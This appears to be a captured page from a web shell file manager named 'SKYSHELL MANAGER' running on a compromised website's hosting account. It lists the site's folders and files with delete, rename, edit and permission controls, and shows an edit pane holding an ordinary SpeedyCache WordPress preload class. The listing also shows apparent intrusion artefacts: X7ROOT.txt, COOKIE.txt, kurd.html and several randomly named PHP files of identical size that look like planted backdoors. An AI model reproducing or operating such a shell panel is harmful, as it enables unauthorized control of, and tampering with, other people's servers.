📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: preload.php
<?php namespace SpeedyCache; if(!defined('ABSPATH')){ die('HACKING ATTEMPT!'); } class Preload{ static function build_preload_list(){ global $wp_rewrite; delete_transient('speedycache_preload_transient'); if(!isset($wp_rewrite)){ $wp_rewrite = new \WP_Rewrite(); } $preload_urls = []; $preload_urls[] = home_url(); $args = [ 'fields' => 'ids', 'post_type' => ['post', 'page', 'product', 'docs'], 'posts_per_page' => 80, 'post_status' => 'publish', 'orderby' => 'date', 'order' => 'DESC', 'has_password' => false, ]; $query = new \WP_Query($args); if($query->have_posts()){ $posts = $query->get_posts(); foreach($posts as $post_id){ $preload_urls[] = get_permalink($post_id); } } $query = null; $args = [ 'fields' => 'ids', 'post_type' => 'page', 'posts_per_page' => 10, 'post_status' => 'publish', 'orderby' => 'date', 'order' => 'DESC', 'has_password' => false ]; $query = new \WP_Query($args); if($query->have_posts()){ $posts = $query->get_posts(); foreach($posts as $post_id){ $preload_urls[] = get_permalink($post_id); } } $preload_urls = array_unique($preload_urls); set_transient('speedycache_preload_transient', $preload_urls, HOUR_IN_SECONDS); wp_schedule_single_event(time(), 'speedycache_preload_split'); } static function cache(){ global $speedycache; $preload_urls = get_transient('speedycache_preload_transient'); $cache_urls = 0; if(empty($preload_urls) || !is_array($preload_urls)){ return; } foreach($preload_urls as $key => $url){ if($cache_urls >= 10){ break; } wp_remote_get($url, [ 'headers' => [ 'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36' ], 'timeout' => 0.01, 'blocking' => false, 'sslverify' => false, ]); // Preload mobile version too if(!empty($speedycache->options['mobile_theme'])){ wp_remote_get($url, [ 'headers' => [ 'User-Agent' => 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/114.0.5735.99 Mobile/15E148 Safari/604.1' ], 'timeout' => 0.01, 'blocking' => false, 'sslverify' => false, ]); } unset($preload_urls[$key]); // We remove from the list to be preloaded $cache_urls++; } if(empty($preload_urls)){ set_transient('speedycache_preload_transient', [], HOUR_IN_SECONDS); return; } wp_schedule_single_event(time() + 60, 'speedycache_preload_split'); set_transient('speedycache_preload_transient', $preload_urls, HOUR_IN_SECONDS); } // This will push a request to preload URLS // TODO: need to add a lock here static function url($urls){ if(!is_array($urls)){ $urls = [$urls]; } $preload_urls = get_transient('speedycache_preload_transient'); if(empty($preload_urls) || !is_array($preload_urls)){ $preload_urls = []; } $preload_urls = array_merge($preload_urls, $urls); $preload_urls = array_unique($preload_urls); set_transient('speedycache_preload_transient', $preload_urls, HOUR_IN_SECONDS); if(!wp_next_scheduled('speedycache_preload_split')){ wp_schedule_single_event(time() + 60, 'speedycache_preload_split'); } } }
Save